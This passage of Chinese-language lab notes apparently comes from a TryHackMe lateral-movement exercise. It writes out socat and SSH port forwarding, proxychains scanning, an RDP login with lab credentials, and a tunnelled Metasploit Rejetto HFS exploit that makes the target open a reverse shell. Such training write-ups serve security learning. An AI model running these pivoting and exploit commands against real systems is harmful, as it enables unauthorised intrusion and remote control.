socat TCP4-LISTEN:13389,fork TCP4:THMIIS.za.tryhackme.com:3389
# TCP4-LISTEN:13389,fork:监听本地13389端口;
## fork:为每个新连接创建子进程(允许多客户端同时连接)
# TCP4:THMIIS.za.tryhackme.com:3389:目的IP
在攻击机上使用xfreerdp
进行连接:
xfreerdp /v:THMJMP2.za.tryhackme.com:13389 /u:t1_thomas.moore /p:MyPazzw3rd2020
6.5 动态端口转发和SOCKS
作用:传统的单端口转发(Local/Remote Port Forwarding) 只能将特定端口的流量转发到目标主机,而动态端口转发则允许通过SOCKS代理访问目标内网的任意 IP 和端口,无需为每个端口单独配置转发规则。
攻击机主动连内网机器
在跳板机上
ssh tunneluser@10.50.100.115 -R 9050 -N
# 以tunneluser用户身份登录到攻击机上
# -R:远程端口转发
# -N:不执行远程命令,仅用于端口转发
/etc/proxychains.conf
配置socks代理
[ProxyList]
socks4 127.0.0.1 9050
在攻击机上扫描内网机器:
proxychains nmap -sT -Pn 192.168.1.0/24
6.7 隧道式复杂漏洞利用
THMDC 服务器运行的是Rejetto HFS的一个易受攻击版本。我们面临的问题是:防火墙规则限制了对易受攻击端口的访问,因此只能从THMJMP2查看;THMDC的出站连接仅允许连接到其本地网络中的机器,这使得我们无法直接接收攻击者机器的反向Shell。
首先,让我们看看这个漏洞利用的工作原理。首先,它会连接到 HFS 端口(在 Metasploit 中为 RPORT),以触发第二个连接。第二个连接将通过 SRVPORT 端口与攻击者的机器建立连接,Web 服务器将通过该端口传递最终的有效载荷。最后,攻击者的有效载荷将执行并向 LPORT 上的攻击者发送回一个反向 shell:
使用SSH将攻击者机器上的一些端口转发到THMJMP2(SRVPORT 用于 Web 服务器,LPORT 用于接收反向 Shell),并通过THMJMP2到达THMDC上的RPORT。我们需要在两个方向上进行三次端口转发,以便所有漏洞利用的交互都可以通过 THMJMP2 进行代理:
Rejetto HFS
将在THMDC上监听80端口,我们使用ssh端口远程转发ssh tunneluser@10.50.100.115 -R 8888:thmdc.za.tryhackme.com:80
;攻击机通过8888
端口向THMDC的80端口发送恶意请求,THMDC通过向跳板机的SRVPORT=6666
和LPORT=7878
分别向攻击机请求payload、将反弹shell到攻击机,因此,使用ssh本地转发-L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878
在跳板机上实现端口转发:
ssh tunneluser@10.50.100.115 -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N
在攻击机上进行监听:
msfconsole
use rejetto_hfs_exec
# 设置payload
set payload windows/shell_reverse_tcp
# payload回连地址
set lhost thmjmp2.za.tryhackme.com
# 监听器地址
set ReverseListenerBindAddress 127.0.0.1
# 监听端口
set lport 7878
# Metasploit临时Web服务器绑定的IP地址
set srvhost 127.0.0.1
# Metasploit临时Web服务器绑定的端口
set srvport 6666
# 目的主机及端口,本地8888端口-> thmdc:80,发送恶意请求
set rhosts 127.0.0.1
set rport 8888
exploit
深入理解 Metasploit 参数与 SSH 隧道协同工作:
在常规场景中,LHOST
参数有两个作用:
- 监听器绑定:指定攻击机(AttackBox)上接收反向 Shell 的 IP 地址。
- Payload 回连地址:嵌入到生成的恶意负载中,告诉受害者(THMDC)应该连接到哪里。
但在本场景中,存在以下问题:THMDC
(内网)无法直接连接 AttackBox
(外网),只能连接跳板机THMJMP2
。因此,矛盾在于:
- 如果
LHOST=AttackBox_IP
,THMDC 无法访问,反向 Shell 会失败。 - 如果
LHOST=THMJMP2_IP
,监听器会绑定到THMJMP2而非AttackBox,导致Shell 无法传回。
解决办法
Metasploit
提供ReverseListenerBindAddress
参数,将监听器绑定和Payload回连地址解耦:
- 监听器绑定:设为127.0.0.1(仅本地访问),通过SSH隧道将流量从THMJMP2转发回来。
set ReverseListenerBindAddress 127.0.0.1
- Payload回连地址:仍设为THMJMP2(LHOST=thmjmp2.za.tryhackme.com),确保 THMDC 能连接。这个payload回连地址是thmdc执行payload后,反弹shell连接的地址,因为ssh转发的缘故,这个反弹shell会找到攻击机地址。
set lhost thmjmp2.za.tryhackme.com